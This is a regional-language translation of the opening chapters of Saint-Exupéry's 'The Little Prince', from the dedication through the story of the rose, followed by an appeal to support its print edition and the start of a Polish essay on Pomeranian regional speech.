Jô móm nôdzejã, co dzecë mje to przepùszczõ, że dedikùjã tã knigã jedni wustni wosobje. Móm ale vôżnõ przëczinã: nen człovjek je mje tim nôvjikszim drëchã na svjece. Jô móm ë jesz jednã przëczinã: ten chtos móże rozmjôc vszëtkò, navetka knidzji dlô dzeci. To dô téż tã trzecõ przëczinã: nen wustni mjeszkô ve Francëji ë żëje tam v głodze ë zëmje. Jemù barzo je trzeba tróstë. Cjéj të vszëtcji przëczinë nje signõ, téj jô chcã rôd dedikòvac mòjã knigã dzeckù, co tim won pjervjé béł. Vszëternôstcë dozdrzelałi rôz cjedë bëlë dzecë (le njé vszëtcë to merkajõ). Tak jô pòlepszã mòjã dedikacëjõ:

Leonë Werthovi,

cjéj béł môłim knôpã.

I

Cjéj jô béł szesc lat stôri, jednim razã jô vjidzôł jeden bëlni wobrôzk, ten béł v ti knidze wo bòrovjiznje, co sã nazéva «Prôvdzëvé Pòvjesce». Nó njim bëła znjija bóa, jakô żarła svòjã wopjôrã. Hewo tú je kòpjô wod newu céchùnkù.

V ni knidze stojało: «Znjije bóa pòłikajõ své wopjôrë v całosci, bez dzegvjenjô. Pòtemù nji mògõ sã rëchac a spjõ szesc ksãżëci ë travjõ.»
Barzo jem mëslił wo przëgòdach v dżungli a na wostatk jô céchòvôł svój pjerszi céchùnk. Ten béł tacji:

Jô pòkôzôł tim wustnim na mój méstersztëk a pitôł sã jim, ażlë wonji strach dostalë. Ti wodrzeklë: «czemùż më bë mjelë tewo kłobùka strach mjec?»

Na mòjim céchùnkú nje béł żóden kłobùk. Tam bëła jedna znjija bóa, co dzegvjiła élefanjta. Tak jô céchòvôł vnãtrznosce né znjije, że ti wustni bë to zrozmjôc mòglë. Jim vjedno mùszi vszëtkò vëtłomaczëc. Mój drëdzji céchùnk vëzdrzôł tak:

Ti wustni mje doradzëlë woprzestac céchòvanjô wotemkłëch ë zamkłëch znjij bóa a vjicé sã zajinteresovac geografjijõ, historëjõ, rechòvanjim a gramatikõ. Téj pravje, cjéj jô béł szesc lat stôri, jô njechôł svój sprasni szos malarscji. To njepòvòdzenjé céchùnkù numer 1 a céchùnkù numer 2 mjã znjechãcëło. Ti wustni njigdë sami njick nje rozmjejõ, a dzecë to mãczi jim dërchejncú vszëternôstkò tłomaczëc.

Tak jem so mùsził jinszi vark vëbrac ë jô sã nawucził z fligrã jezdzëc. Jô woblejcôł vnetka ten całi svjat, a geografjijô – to je prôvda – zacht mje pòmògła. V wokamërgnjenjim jô vjedzôł rozvjidzec Chjinë wod Arizonë. To wokrop przëgódné, cjéj chto v noci zabłõdzi.

Jô pòznôł v svòjim żëcim téż fùl vôżnëch lëdzi. Vjele jem żił mjedzë wustnëmi a z blëza nó njich vzérôł. Ale mòjã wudbã wo njich jô nje mjenjił. Cjéj jô trafjił jednewo, chtëren mje sã vjidzôł dosc pòchvatni, vjedno jô zrobjił ten eksperimanjt z céchùnkã numer 1, jacji jô vjedno wotrzimôł przë se. Chcôł jem sã doznac, czë pò prôvdze tak rozëmni béł. Ale kòżden mje rzek: «To je ten kłobùk». Tak jô nje pòvjadôł z njimi wo znjijach bóa anjé wo bòrovjiznach, anjé wo gvjôzdach. Jô gôdôł wo brëdżú, gòlfje, pòlitice a szlipsach. A ti wustni bëlë rôd, że pòznalë tak rozsõdnéwo człovjeka.

II

Tak jô żił sóm, bez njikòwu, co bë móg ze mnõ tak echt pògadac, jaż do té avarëjé na Saharze przed szesc latami. Njico sã skazëło v mòjim mòtorze, a że jô nji mjôł sobõ anjé mechanjika, anjé pasażeri, jô mùsził spróbòvac dëcht sóm zrobjic tã żimkõ reparacëjõ. To bëła do mje sprava smjerce abò żëvòta. Jô mjôł wodã do pjicô ledvje na wosmë dnji.
Téj ten pjerszi vjeczór jô wusnõł na pjôskú, tësõc mjil precz wod zém wod człovjeka zamjeszkónëch. Jô béł samòtnjészi jak rozbjitk na tratvje vestrzódkú wocéanë. Téj przedstavjitaż so mój zôdziv, cjéj pòrénë wocúcił mjã ten smjészni głosk. Won rzek:
– Nóce le… nacéchúj mje baranka!
– Hë?!
– Nacéchúj mje baranka.

Jem skòk na prosté nodzji cjéjbë jô béł wod pjorëna trafjoni. Jô mòcno przecar woczë, dobrze sã rozezdrzôł vkół ë wobôcził môłéwo bóvkã, dosc wosoblëvéwo, pòvôżno sã mje przëzérajõcë. Tútak je ten nôlepszi jewo vëmalanc, chtëren (pòzdnjé) mje sã nacéchòvac dało.
Le mój céchùnk, to je klôr, je vjele mjé szëkòvni jak sóm módel. Njic zó to nji mògã. Jô béł znjechãconi przez wustnëch do malarscjéwo varkù cjéj jô béł szesc lat ë jô nji mjôł sã nawuczoné njic jinéwo céchòvac jak zamkłé znjije bóa a wotemkłé znjije bóa.

Jô zdrzôł nó ten wukôzk woczama vjeldzjima wod zadzëvòvanjô. Nje zabaczëta, co jô béł tësõc mjil wod zamjeszkónëch rejonóv. A jednak mój môłi bóvka sã nje zdôvôł bëc zabłõdzoni ënjé mrzõci wod zmãczenjô, ënjé głodã padłi, ënjé pragłi, ënjé na smjerc wurzasłi. Czësto nje vëzdrzôł za dzeckã zgùbjonim vestrzódkã pùscëznë, tësõc mjil precz wod cëvjilizacëjé. Cjéj v nédze mje sã wudało co vësłovaczëc, jô do nje rzek:
– Le… ceż të tú chcesz?
A won pòvtórził grzecznje, le barzo pòvôżno:
– Nóce le… nacéchúj mje baranka…
Cjéj tajemnosc chvjile nas wosamãtô, anjé sã nje dzirzimë nje pòsłëchac. Chòc zda sã mje to tak absurdné tësõc mjil wod zamjeszkónëch placóv ë v njebezpjekú smjerce, jem vëcig z tasze sztëk papjórë a pjóro. Le téj jô sã womëslił, że jem mjôł sztúdérovóné przevażnje geografjijõ, historëjõ, rechùncji a gramatikã ë jô rzek mòjemù bóvce (përznã gòrzkò), że jô doch nje wumjejã céchòvac. Won mje wodrzek:

– To nje je njic. Nacéchúj mje baranka.
Że jô njigdë nji mjôł baranka céchòvóné, jem zrobjił mù jeden wod nëch jedúrnëch dvúch céchùnkóv, chtërnë jô pòtrafjił. Ë jô béł czësto wod se, cjéj jem wuczúł wo gôdajõcë:
– Njé! Njé! Jô njechc élefanjta ve znjiji bóa. Bóa je wokrop njebezpjecznô, a élefanjtë sõ barzo njewoklëczné. Kòle mje vszëtkò je môłé. Mje je trzébno baranka. Nacéchúj mje baranka.
Tak téj jô nacéchòvôł.

Won baczlëvje vzérôł, a téj:
– Njé! Túten je jú barzo krãczni. Zrobji jinszéwo.
Tak jô zrobjił:

Mój drëch sã zasmjôł cëchò ë dobrotlëvje:
– Kò zdrzë, to nje je barank, to je ten baran. Won mô rodzji…
Tak jô zrobjił mój céchùnk na novò:


Le tewo won nje chcôł tak jak tëch zeszłëch:
– Túten je za stôri. Jô chcã baranka, co bdze dłúgò żił.
Téj mòja cerzplëvòsc bëła do kònca, jô mùsził sã pòspjôc a zaczic rokrãcac mój mòtór, tak jô naszmagrovôł hewo ten céchùnk:
Ë wodrzek jem:
– To je ta skrzinka. Ten barank, co të wo chcesz, je bënë.
Jak jô béł zadzëvòvóni, ga jô wuzdrzôł jak woczë méwo môłéwo sãdzéwo jaż tak zablãkrovałë:
– Je dëcht tacji jak jô chcôł! Mëslisz të, co tacji barank brëkùje vjele trôvë?
– A co?
– Bò kòle mje vszëtkò je malincjé…
– To gvës signje. Jô móm nacéchòvóné czësto môłéwo baranka.
Won przëkłónjił svòjã głovã do céchùnkù:
– Tacji môłi to won nje je… véjle! Won wusnõł…
Pravje tak jô pòznôł môłéwo princa.

III

Jô brëkòvôł dosc tëlé czasë njiż jô zrozmjôł skõdka won je. Môłi princ, jacji stôvjôł mje vjele pitanjóv, zdôvôł sã njigdë nje czëc mòjich. To dało le słova vërzekłé przipôdkã, co të, szrëtk na szrëtk, sã jemù przë mje vësmëkałë. Tak cjéj won womerkôł do pjerszéwo raza mój fliger (jewo jô nje nacéchùjã, mój fliger bë mje béł za żimcji do céchòvanjô), won mjã spitôł:
– Acz to je ta rzecz túwo?
–To nje je rzecz, to lôtô. To je fliger. Mój fliger.
Jô béł sztoltni, co jem móg mù wobznajemnjic, że jô z fligrã jeżdżã. Tak won vëkrzik:
– Jena! Jes të z njeba spadłi?
– Jo – jô rzek beszédno.
– Ó! To je smjészno…
A môłi princ sã redostnje rozesmjôł, co mjã mòcno rozjadovjiło. Jô chcôł, co bë pòvôżno mòje njeszczesca trzimôł. Téj won dodôł:
– Tak të téż pòchôdôsz z njeba! A z chtërné planétë të jes?
Vnim jô pòstrzég ten parmiszk, co przesvjécił przóz tã tajemnosc jewo przitomnosce a doraza spitôł:
– Tak të pòchôdôsz z jiné planétë?
Le won nje wodpòvjedzôł. Cjivôł le letëchno głovõ a vzérôł na mój fliger.
– Në jo, kò z tim të bë nji móg przinc z barzo daleka…
Ë stojôł dłúgò v jednëch mëslach. Pònemù vëcig méwo baranka z tasze a jõł kontemplovac svój skôrb.
Va so przedstôvjôta jak mje zajintrigòva ta njibë nadcjidka wo «jinëch planétach». Tak jô próbòvôł sã wó to wodovjedzec vjicé:
– Skõdkaż të jes, mój człovjeczkù? Kãdëż je tvòje dodóm? Dokõdkaż chcesz svòjewo baranka zabrac?
Won rozmiszlôł v cëszi a téj mje wodrzek:
– To je ale dobrze z tõ skrzinkõ, co të mje môsz nacéchòvóné. Wobnoc na jemù bdze słúżëła za chałëpkã.
– Pevno. Cjéj mdzesz mjiłi, téj zrobjã cë téż pòvôrz do wurzeszenjô jewo wobdzenj. Ë kólc.
Ten bédënk sã zdôwôł zaszokòvac môłéwo princa.
– Wurzeszenjô? To cë je dzivnô wudba!
– Ale cjéj të wo nje wukólcëjesz, won púdze gdzelekòlvjek ë sã zgúbji…
A mój drëch zôs sã rozesmjôł:
– Le gdzeż won bë mjôł jic, vedle ce?
– Gdzelebõdz. Prosto nosa przed sebje…
Téj môłi princ pòvôżno wodkôzôł:
– To nje je njic, kòl mje vszëternôstkò je malincjé!
Ë, móże përznã smãtnje, dodôł:
– Prosto przed sebje nje dóndze za dalek…

IV

Tak jô sã mjôł vëdovjedzoné wo drëdzji barzo vôżni rzeczi: ëż jewo rodnô planéta bëła ledvje vjikszô jak jeden bùdink. Tim jô sã nje zadzëvòvôł. Dobrze jem vjedzôł, co wokróm vjeldzjich planét jak Zemja, Jupjiter, Mars abò Vjitrznjô – co tim sõ vëdóné mjona – to dô téż sta drëdzjich, jacjé téj-séj sõ tak môłé, że mùszi sã dichtich namarachòvac, cobë jich z fernrórã dozdrzôł. Cjéj jacji gvjôzdôrz jednã vëkrëje, dô ji numer jakò mjono. Nazvje sã na przikłôd «asterojida 3251».

Jô móm pòvôżné przëczinë vjerzëc, co planéta, z jacjé pôchôdôł môłi princ, to ba asterojida B 612. Na asterojida bëła vjidzec przez fernrór le jeden rôz, v 1909 roce, cjéj dozdrzôł jã jeden tëreccji gvjôzdôrz.

Won przedstavjił z paradõ svój nôlôzk na Mjedzënôrodnim Kongresú Gvjôzdarstva, le przez jewo rúchna njicht jemù nje wuvjerził. Ti wustni jú tacji sõ.

Szczescim dlô repùtacëjé asterojidë B 612, jeden tëreccji diktatór nakôzôł svémù lëdovi sã pò europskú woblakac. Gvjôzdôrz pòvtórził svòjã demonstracëjõ v barzo pësznëch rúchnach. Ë tim razã vszëtcë trzimalë jewo słova pòvôżno.

Jeżlë vama rozpòvjôdajã të drobnotë wo asterojidze B 612 ë vëjôvjajã vama jejé numer, to z przëczinë tëch wustnëch. Ti doroczni majõ rôd cëfrë. Cjéj va jim gôdôta wo svim novim drësze, ti njigdë sã nje pitajõ zó tim nôvażnjészim. Njigdë vama nje rzekõ: «Jakùż brzëmji jewo głos? V ceż nômjilé graje? Zbjérô won mjotélcji?» Wonji sã vajú pitajõ «Jak stôri won je? Kùleż mô bratóv? Vjeleż won vôżi? Kùleż zarôbjô jewo tatk?» Ë vjerzõ, że blós tak mògõ wo pòznac. Ga bë va rzeklë tim wustnim: «Móm vjidzoné pjãkné chëcze, wod czerzvjoné cegłë wubùdovóné, z mëszkôtã v woknach ë gòłõbkami na dakú…», ti bë nje rozmjelë so në chëcze wudbac. Cjéjbë le rzec: «Móm vjidzałé chëcze za sto tësõci frankóv», téj wonji krzikajõ «Jacjéż të mùszõ bëc pjãkné!»

Tak samò cjéj jim rzeknjeta: «Ten dokôz, że to pò prôvdze dało môłéwo princa nó tim svjece, je tacji, że béł snôżi, że sã smjôł ë że chcôł baranka. Cjéj njichto chce baranka, to je dokôz, że won egzëstëje», téj wonji le rëszajõ remjonama ë trzimajõ vajú za dzecë! Le jak va jim rzeknjeta «Ta planéta, co z té won pòchôdôł, je asterojida B 612», téj ti bdõ dokònóni ë vama dadzõ pòkú ze svòjimi pitanjami. Wonji tacji sõ. Za vjele wod njich nji móże vëmagac. Dzecë mùszõ jim bëc barzo vërozmjałé.

Ale pevno, że më, chtorzi rozmjejemë żëcé, sã smjejemë nad lëczbami! Jô bë rôd mjôł tã pòvjesc naczãté tak jak sã zapòczinô pòvjôstcji. Jô bë chcôł mjec rzekłé: «To béł jednim razã môłi princ, ten żił na planétce blós përzinkã vjikszi jak won sóm ë pòtrzébòvôł drëcha…» Tim, chtërni rozmjejõ żëcé, to bë sã zdôva prôvdzëvszé.

Jednak jô njechc, co mòja kniga bë sã czëta letkò a njedbale. Nó mjã przëszła vjelgô żałota, cjéj jô jõł rozpòvjadac wo tëch spòmjinkach. To jú sõ szesc lat jak mój drëch wodszed ze svòjim barankã. Jeżlë próbùjã jewo tú wopjisac, to temù, co bë jô jewo nje zabéł. To je smãtné zabëc drëcha. Nje vszëtcë majõ drëchóv. A jô bë móg sã stac jak ti wustni, jacji njizaczim sã nje cjerëjõ, le za cëframi. To temù jô so zôs kúpjił pùdełkò akvarelk a blifcji. To je żimkò do zapòczicô, v mòjich latach na novò céchòvac, jeżlë sã njigdë nji mja próbòvóné njic jinszéwo jak zamkłô bóa ë wotemkłô bóa – cjéj sã bëło szesc lat stôrim! Jô mdã próbòvôł, to je gvës, robjic nôvjernjészé vëmalance jak sã dô. Le jô nje jem czësto gvësni, że mje sã to wuzdarzi. Jeden céchùnk sã wudô, jini ale jú njizaczim nje vëzdrzi. Jô sã téż milã ve vjelgòscach. Tú môłi princ je za vjeldzji. Tamò je za môłi. Jô sã téż stanovjã, jakõ farvã mja jewo wobleczenjé. Téj jô próbùjã jakòs-takòs na slepéwo, nó ten, na jini ôrt. Jô sã zmilã na wostatk przë tëch nôvażnjészich drobnotach. Ale to mdze trzébno mje przepùszczëc. Mój drëch njigdë njic nje tłomacził. Pevno won vjerził, że jô jem tacji jak won. To je szkòda, le jô nje rozmjejã vjidzec barankóv przez skrzincji. Jô jem mést dróbkã jak ti wustni. Jô jem zestarzałi.

V

Kòżdi dzénj jô sã cos vëdovjedzôł wo jewo planéce, wo wodendzenjim, wo rézi. To przëchôdało znôjma, mjedzë słovami przipôdkòvëch mësel. Pravje tak nó tim trzecim dnjú jô sã doznôł wo jivrze z baobabami. Tim razã dzãka barankòvi, bò môłi princ nôgle sã mje spitôł, cjéjbë pòvôżno sã béł wo czim stanovjił:
– To je prôvda, co barancji grëzõ krze, doch jo?
– Jo, to je prôvda.
– Ach! Z tim jô jem spòkójni.
Jô nje rozmjôł dlôcz to tak vôżné bëło, co barancji krze grëzõ. Le môłi princ dodôł:
– Téj rżõ wonë téż baobabë?
Jô wodkôzôł môłémù princë, co baobabë nje sõ njiżódnë krze, a bómë vjeldzjé jakò kòscołë ë że chòcô cavné karno élefanjtóv bë przënëkôł sobõ, no karno bë so nje vjedzało żódné radë navet z jednim baobabã.

Ta wudba wó tim karnje tëch élefanjtóv rozbavja môłéwo princa:
– Ti bë mùszëlë sã pòstavjic jeden na drëdzjim…
Le pòtemù scvjerdził mõdrze:
– Baobabë, njiglë vërostõ, téż sõ môłé.
– Vjiléba! Blós czemùż të chcesz, że tvòje barancji bë jadłë môłé baobabë?
Won mje rzek: «Në kò doch…! Véjle!» cjéjbë to szło wo czësto klôr zachã. Jô brëkòvôł svój dzél mõklac, co bë samemù zrozmjôł ten trobel. Ótole na planéce môłéwo princa, takò jakò na vszëtcjich planétach, to dało të dobré roslënë a të lëché roslënë. A tak samò të dobré semjona tëch dobrëch roslin ë të lëché semjona tëch lëchich roslin. Ale nëch semjón nji ma vjidzec. Të krëjamkò spjõ v zemji jaż to abò no so wudbô wodecknõc. A téj nôprzód nacznje sã klëc ë vstëdlëvje vëszczitac do słúnca malincjim, snôżim, njeszkòdlëvim kłã. Jeżlë to je kło radiscji abò róże, wono móże tam do wolé wostac rostõcë. Jednak cjéj to je jacji chvast, mùszi jen natëchstopach vëpłoc, cjéj le jen chtos rozpòznaje. A to dało grozné semjona na planéce môłéwo princa… to bëłë semjona baobabóv. Ta zemja té planétë bëła z njimi zachvaszczonô. A baobaba, cjéj wo dostónjesz za pòzdze, njigdë jú nje mdzesz lós. Ten zasztopje tã całõ planétã. Won jã rozdzúravji svòjimi kòrzenjami. A jeżlë planéta je za malinkô a baobabóv je za vjele, të jã rozdervjõ.

– To jidze wo dëscëplënã – rzek mje pòzdnjé môłi princ. – Jak reno sã wobchãdożisz, brëkùjesz téż baczlëvje wobchãdożëc svòjã planétã. Je trzébno sã zdëscëplënovac a regùlarno płoc baobabë, cjéj le jich sã rozeznaje wod róż – a za tëmi wonë mòcno szlachùjõ, cjéj sõ barzëchno môłé. To je wokrop przikrzõcô sã robòta, ale barzo letkô.

Jednewo dnja won mje doradził spróbòvac vëkònac dobri céchùnk, że dzecóm z mòjich strón to bë dobrze vlazło do głovë. «Cjéj rôz sã dadzõ v dargã», rzek mje, «móże to jim bëc przëgódné. To njijak nje vadzi so czasã wostavjic robòtã na pòzdnjé. Le z baobabami to je vjedno wobrota. Jô znôł jednã planétã, co bëła zamjeszkónô przez jednewo zgnjélcocha. Zanjedbôł trzë drzévjõtka…»

Tak, vedle pòlétë môłéwo princa, jô móm tútã planétã nacéchòvóné. Jô njechc njijak brzëmjôc jak móralësta. Ale njebezpjek baobabóv je tak mało znóni, a ten, chto sã v tim wobrzészkú nje wopase, réskùje tak pòvôżno, że ten jedúrni rôz jô zrobjã vëjimk. Gôdajã: «Dzecë! Va wupasújta na baobabë!»

Jô móm sã tëlé przë tim céchùnkú narobjałé pravje mòjim drëchóm dlô przestrzedzji przed njebezpjekã, co sã wo nas wocérô wod dôłdzjéwo czasë, chòcô më, v tim jô sóm, anjé to nje merkómë. Cjéj to bëła dobrô pòwuka, téj mje to signje za mój trúd. Va sã móże pitôta: jakùż to przindze, że v ti knidze nji ma drëdzjich tak pësznëch céchùnkóv jak nen z baobabami? Wodpòvjesc je dëcht prostô: jô próbòvôł, le mje sã to nje wuzdarzëło. Cjéj jem céchòvôł baobabë, jô béł pòdskaconi pòczëcim alarmùjõcé pòtrzebë.

VI

Ach! Môłi princë, tak jô pòczõł znôjma rozmjôc tvój môłi, mãkòlijni żëvòt. Dłúgò të nji mjôł jinszé womjodë jak łagòda zôpadóv słúnca. Tã prôvdã wo tvim żëcim jô pòznôł nó tim czvjôrtim dnjú, ga të mje rzek:
– Vjidzõ mje sã zôpadë słúnca, pòjma wobezdrzec zôpôd słúnca…
– Ale je trzeba dożdac…
– Dożdac zó czim?
– Dożdac jaż słúniszkò pòcznje do zachôdanjô.

Nôpjervjé të vëzdrzôł czësto baf, a téj të sã smjôł sóm nad sobõ. Ë të mje pòvjedzôł:
– Mje sã dërch zdaje, co jô jem doma!
Genau. Vszëtcë vjedzõ, ëż cjéj ve Sztécach to je pôłnje, ve Francëji to jú sã marczi. To bë signãło dónjc do Francëjé v jedni minúce ë bë móg bëc przë słúnjca zônjdzenjim. Njeszczescim Francëskô je za dalek. Ale na tak malincji planétce jak tvòja, tobje spravjiło sënõc svój stółk wo cjile krokóv. Ë të wobzérôł smjerzk tëlkò razi, co të chcôł.
– Rôz jô vjidzôł słúnce zachadac sztërë-sztërdzesce razi!
Ë përznã pòzdnjé të dodôł:
– Vjész të… cjéj człovjekòvi je tak smãtnje, téj mô rôd zôpadë słúnca…
– V tim dnjú, cjéj të vjidzôł sztërë-sztërdzesce zôpadóv, të béł jaż tak smãtni?
Ale môłi princ mje nje wodpòvjedzôł.

VII

Nó tim pjõtim dnjú, dërch dzãka barankòvi, ta tajemnosc żëcô môłéwo princa wosta mje wobjavjonô. Mje njic, tobje njic, won mje spitôł dërno, cjéjbë béł dłúgò wó tim rozmiszlôł v cëszi:
– Cjéj barank rôd rże krze, zgrëze won téż kvjatë?
– Barank zgrëze vszëtkò, co le trafji.
– Navetka kvjatë, co majõ kòlce?
– Jo. Navet kvjatë, co majõ kòlce.
– Téj docz słúżõ të kòlce?
To jô nje vjedzôł. Jô sã tenczas barzo zagútorził przë vëkrõcanjim jedné wokrop zarznjãté szrúvë z méwo mòtora. Jô béł dichtich njewubëtni przóz tã avarëjõ, jakô zaczã vëzdrzec barzo pòvôżno, a woda do pjicô, chtërna sã vëczerpòva, kôza mje mjec strach przéd tim nôgòrszim.
– Docz słúżõ të kòlce?
Môłi princ njigdë nje zrezignovôł z pitanjô, cjéj jú rôz mjôł je pòstavjoné. Jô béł rozgòrzoni przóz nã szrúvã ë jem wodrzek bële co:
– Kòlce njidoczewo nje sõ, kvjatë jich majõ le blós przez svòje czësté njebëlnjictvò.
– Ach!
Le pò sztóce cëszé won vëbùch ze żôlbõ do mje:
– V to jô nje vjerzã! Kvjatë sõ krëché. Wonë sõ letkòvjérné. Wonë sã barnjõ jak mògõ. Në mëslõ, że sõ grozné ze svòjimi kòlci…
Jô njic nje wodkôzôł. Vnenczas jô so rzek: «Cjéj ta szrúva dërch mdze trzima, trzasknã jã młotkã». Môłi princ zôs przecjid mòje mësle.
– Ë të mëslisz, że kvjatë…
– Ale njé! Njé! Jô njic nje mëszlã! Jô wodrzek bële co! Jô jem zajãti pòvôżnëmi zachami!
Won sã nó mjã przëzdrzôł czësto baf.
– Pòvôżnëmi zachami!
Won vëzdrzôł nó mjã z mim hômrã v rãce a pôlcami czôrnëmi wod smarë, wudzjibłéwo nad czims, co sã mù vëdôva wokrop brzëdcjé.
– Të gôdôsz jakò ti wustni!
To mjã përznã zasromało. Ale won njemjiłosernje dodôł:
– Të vszëtkò pòmachcesz… të vszëtkò pòmjészôsz!
Won béł pò prôvdze barzo rozjadovjoni. Pòtrzõsôł na vjetrze svòjimi złocanëmi vłosi:
– Jô vjém jednã planétã, gdze je jeden karmjinovi pón. Ten njigdë jesz kvjata nji mô wuwonjałé. Ten njigdë nji mô gvjôzdë vjidzoné. Ten njigdë nji mô żódnewo człovjeka kòchóné. Won njigdë nje stvòrził njic jinszéwo jak anekse. Ë ten całi dzénj won pòvtôrzô dëcht jak të: «jô jem pòvôżni człovjek! jô jem pòvôżni człovjek!» a chòdzi bùszni cjéjbë knëpel mjôł zjadłé. Le to nje je żóden człovjek, to je grzib!
– Co?
– Grzib!
Môłi princ béł terô jaż bladi wod gòrzë.
– To sõ mëlionë lat jak kvjatë vëtvôrzajõ kòlce. Ë to sõ mëlionë lat jak mjimò tewo barancji grëzõ kvjatë. Ë to nje je vôżné próbòvac pòchvacëc dlôcz wonë sã tak ansztrengùjõ, żebë vëprodukòvałë kòlce, co njidocz jim nje słúżõ? Nje je vôżnô ta wojna tëch barankóv ë tëch kvjatóv? Nje je to vażnjészé a pòvażnjészé jak në anekse newu sëtéwo czerzvjonéwo pana? A cjéj jô sóm znajã ten jedúrni kvjat na svjece, co nje egzëstëje gdzejinga jak blós na mòji planéce, a jeden môłi barank móże jen jednim rúksã zgładzëc z tewo svjata, tak prosto, na jednim pòrénkú, nje merkajõcë, co won robji – to nje je vôżné?!

Won sã sczerzvjenjił, a téj cignõn dalé:
– Cjéj chto kòchô ten kvjat, jedúrni mjedzë mëlionami, mëlionami gvjôzd, temù signje, że bë béł szczestlëvi, cjéj na njewo zdrzi. Won so rzecze: «Mój kvjat je gdzes tamò…». Le cjéj ten barank zgrëze mù ten kvjat, to bõdze tak, cjéjbë jemù vszëtcji gvjôzdë zgasłë! Ë to nje jesta vôżné!
Won nji móg rzec njic vjicé. Nôgle sã rozpłakôł. To sã znocëło. Jô wodszmërgnõn mòje pòrzõdcji. Jem sã smjôł nad mòjim młotkã, szrúvõ, pragnjõczkõ ë smjercõ. Na jedni gvjezdze, jedni planéce, na mòji, na Zemji, béł môłi princ a brëkòvôł pòcechji! Jô wo vzõn v remjona a kòlibôł. Jem mù rzek: «ten kvjat, chtëren të kòchôsz, nje je v njebezpjekú… jô nacéchùjã napëszcznjik tvòjémù barankòvi… jô cë nacéchùjã zôstavã dlô tvòjewo kvjata… jô…». Jem nje vjedzôł, co jesz rzec. Jô sã czúł wokrop njezgrabno. Jô nje vjedzôł jak wo dosignõc, jak sã z njim zjednac… To je barzo tajemni plac, na krôjna łzi!

VIII

Chùtkò jô sã doznôł vjicé wó nim kvjece. Na planéce môłéwo princa to vjedno dało dëcht zvëczajné kvjatë z pôrã płacikami przëstrojoné, chtërnë nje zabjérałë vjele placë ë njikòmù nje vadzëłë. Na pòrénkú vëszczitałë z trôvë, a téj wob vjeczór zvjãdłë. Ale túten kvjat sã naklił jednim razã z semjenja, co bëło przëlejcałé nji ma vjedzec skõd ë môłi princ sã przëzérôł z blëza ti rosce, chtërna nje szlachòvała za żódnëmi drëdzjimi roskami. To letkò móg jacji novi ôrt baobaba bëc. Jednak ten cjerzk chùtkò woprzestôł rosc, a pòczõł kvjisc. Môłi princ, chtëren béł przë tim jak vërós z njewo wotvarni pãczk, mjôł pòczëcé, co z tewo sã wobjavji cos cëdnéwo, le nasz kvjat nji mjôł jesz skónczoné sã snażëc v zaciszi svojé zeloné dornjice. Baczlëvje dobjérôł svòje farvë. Woblekôł sã pòmale, pasovôł své płacicji jednewo pò drëdzjim. Nje chcôł sã pòkazac rëchlé jak jaż v całi svòji nôdobje. Ó, to jo. Ten béł barzo chãdodzji! Jewo tajemné szëkòvanjé sã bavjiło całëmi dnjami. A téj ótole, na jednim pòrénkú, pravje cjéj vëszczitało słóniszkò, won sã wobjavjił.

Ë nen, co mjôł sã z takõ akùrôtnoscõ narobjałé, zévnõn a rzek:
– Ach! Dopjérkù jem wodeckła… vëbaczëce mje… jô jem takô njevëszëkòvónô…
Môłi princ nji móg svój zôdziv skrëc:
– Vë jesce ale pjãknô!
– Prôvda? – wodpòvjedzôł łagòdno kvjat. – A pòrodzonô jem v jednim czasú ze słúniszkã…
Môłi princ jú vëzgód, co wona za beszédnô nje bëła, ale jakùż doch za serce chvôta!
– Mje sã zdaje, że to je czas na frisztëk – rzekła a zarôz dodała – vë bë bëlë tak dobri ë pòmëslëlë wó mje…
Ë môłi princ, całi wod se, vëszúkôł ten giskón té svjéżé wodë ë wusłúżił temù kvjatovi.

Tim spòsobã wona jú wod zaczõtkù sã jemù naparłãża ze svòjõ trochã wobraznõ bùsznoscõ. Jednim razã na przikłôd, cjéj wona gôdała wo svòjich sztërzech kòlcach, rzekła môłémù princë:
– Mògõ smjało przinc, ti tëgrësovje, z tëmi svëmi drapjami!
– To nje dô tëgrësi na mòji planéce – przékòvôł môłi princ. – Nódto tëgrësovje nje rżõ trôvë.
– Jô nje jem żódna trôva – kvjacik wodrzek mjodno.
– Vëbaczëce mje…
– Jô sã nje bòjã przed tëgrësi, ale wokrop móm strach cjéj ten vjater sã pòrivô. Môce vë móże jacji paravan?
«Bòjec sã przed vjatrã… to je ale njeszczescé do roslënë», zmerkôł môłi princ. «Z tim kvjatã to nje púdze ejnfach…»
– Wob vjeczór schòvce le mje pòd glokõ. To je straszni zib hewo kòl vas. Ë je lëchò wurzõdzoné. Tamò, skõdka jô jem…
Ale téj wona przecjidła svõ gôdkã. Wona bëła tú doch jakò semjã przëszłô. Wona nji mògła njic wo jinszich svjatach vjedzec. Zasromjonô tim, że sã da rozszrúvòvac przë tak letkòvjérni próbje łganjô, wona zakaszla dva abò trzë raze, co bë zepchła vjinã na môłéwo princa:
– Acz z nim paravanã?
– Jô bë béł jidzoni zó tim szëkac, ale vë jesce do mje gôdalë!
Téj wona zakaszla mòcnjé, że bë téż jewo zaczãło sëmjenjé grëzc.
Tak môłi princ, mjimò dobré wolé kòchanjô, chùtkò jõł v njã trëchlôc. Won brôł za gvës jé słova bez znaczenjô a chùtkò sã stôł mòcno njeszczestlëvi.
«Jô nji mjôł nó njã słëchac» rôz mje sã zvjerził. «Njigdë bë nji mjôł na kvjatë słëchac. Nó të je trzeba vzerac ë jich wonjac. Ten mój wonjôł na całi mòji planéce, le jô nje pòtrafjił sã temù ceszëc. Na historijka wo drapjach, co mjã tak rozjadovjiła, mjała blós zbùdzëc mõ vrazlëvòsc.»
Won jesz sã mje zvjerził:
«Vnenczas jô nje rozmjôł njic! Jô mjôł wobsãdzac vedle czënóv, a njé vedle słóv. Wona dôva mje wonjõ a blask. Jô bë nji mjôł njigdë mjec zvjornjoné! Jô mjôł dozdrzec jejé vrazlëvòsc, zataconõ za tëmi słabëmi fortelami. Kvjatë sõ przecivnosci pôłnë! Ale jô béł za młodi, co bë rozmjôł kòchac.»

***

Wesprzyj wydanie książkowe „Môłéwo princa” i zdobądź swój własny egzemplarz TUTAJ.

Support the publication of „Môłi princ” and get your own printed copy HERE.

Pomorski język migowy

Dominika Florczak, Dariusz Kosztowny

Choć nie mówi się o tym głośno, na Pomorzu nie tylko Kaszubi mają własny język. Każdy z nas chce mówić pięknym, czystym językiem znanym z serwisów informacyjnych; każdy angielskim próbuje władać, jakby został wydany na świat przez samą Elżbietę II. Robimy tak – ale tylko oficjalnie. W domowym zaciszu, wśród przyjaciół, na terenie bezpiecznym pozwalamy naszym regionalizmom, slangom, gwarom i kolokwializmom szaleć do woli. Używanie naturalnego języka stało się nienaturalne całkiem niedawno.

